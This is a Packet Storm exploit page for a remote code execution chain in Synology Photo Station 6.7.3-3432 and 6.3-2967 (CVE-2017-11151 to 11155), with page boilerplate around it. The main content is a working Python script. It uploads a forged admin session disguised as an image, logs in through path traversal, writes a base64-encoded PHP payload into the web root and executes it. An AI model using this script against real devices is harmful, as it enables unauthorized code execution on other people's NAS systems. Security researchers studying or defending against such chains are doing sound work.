Exploit the possiblities

Synology Photo Station 6.7.3-3432 / 6.3-2967 Remote Code Execution

Synology Photo Station 6.7.3-3432 / 6.3-2967 Remote Code Execution
Posted Aug 8, 2017
Authored by Kacper Szurek

Synology Photo Station versions 6.7.3-3432 and 6.3-2967 suffer from a code execution vulnerability.

tags | exploit, code execution
advisories | CVE-2017-11151, CVE-2017-11152, CVE-2017-11153, CVE-2017-11154, CVE-2017-11155
MD5 | fc56028ea9f8ca5bac93622f17bc02ae

Synology Photo Station 6.7.3-3432 / 6.3-2967 Remote Code Execution

Change Mirror Download
'''
Source: https://blogs.securiteam.com/index.php/archives/3356

Vulnerability details
The remote code execution is a combination of 4 different vulnerabilities:

Upload arbitrary files to the specified directories
Log in with a fake authentication mechanism
Log in to Photo Station with any identity
Execute arbitrary code by authenticated user with administrator privileges
The chain of vulnerabilities will allow you, in the end, to execute code as:

uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)
'''
import requests

# What server you want to attack
synology_ip = 'http://192.168.1.100'

# Your current IP
ip = '192.168.1.200'

# PHP code you want to execute
php_to_execute = '<?php echo system("id"); ?>'

encoded_session = 'root|a:2:{s:19:"security_identifier";s:'+str(len(ip))+':"'+ip+'";s:15:"admin_syno_user";s:7:"hlinak3";}'

print "[+] Set fake admin sesssion"
file = [('file', ('foo.jpg', encoded_session))]

r = requests.post('{}/photo/include/synotheme_upload.php'.format(synology_ip), data = {'action':'logo_upload'}, files=file)
print r.text

print "[+] Login as fake admin"

# Depends on version it might be stored in different dirs
payload = {'session': '/../../../../../var/packages/PhotoStation/etc/blog/photo_custom_preview_logo.png'}
# payload = {'session': '/../../../../../var/services/photo/@eaDir/SYNOPHOTO_THEME_DIR/photo_custom_preview_logo.png'}

try_login = requests.post('{}/photo/include/file_upload.php'.format(synology_ip), params=payload)

whichact = {'action' : 'get_setting'}
r = requests.post('{}/photo/admin/general_setting.php'.format(synology_ip), data=whichact, cookies=try_login.cookies)
print r.text

print "[+] Upload php file"

c = {'action' : 'save', 'image' : 'data://text/plain;base64,'+php_to_execute.encode('base64'), 'path' : '/volume1/photo/../../../volume1/@appstore/PhotoStation/photo/facebook/exploit'.encode("base64"), 'type' : 'php'}
r = requests.post('{}/photo/PixlrEditorHandler.php'.format(synology_ip), data=c, cookies=try_login.cookies)
print r.text


print "[+] Execute payload"
f = requests.get('{}/photo/facebook/exploit.php'.format(synology_ip))

print f.text

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    15 Files
  • 2
    Dec 2nd
    2 Files
  • 3
    Dec 3rd
    1 Files
  • 4
    Dec 4th
    15 Files
  • 5
    Dec 5th
    15 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    17 Files
  • 8
    Dec 8th
    15 Files
  • 9
    Dec 9th
    13 Files
  • 10
    Dec 10th
    4 Files
  • 11
    Dec 11th
    41 Files
  • 12
    Dec 12th
    42 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close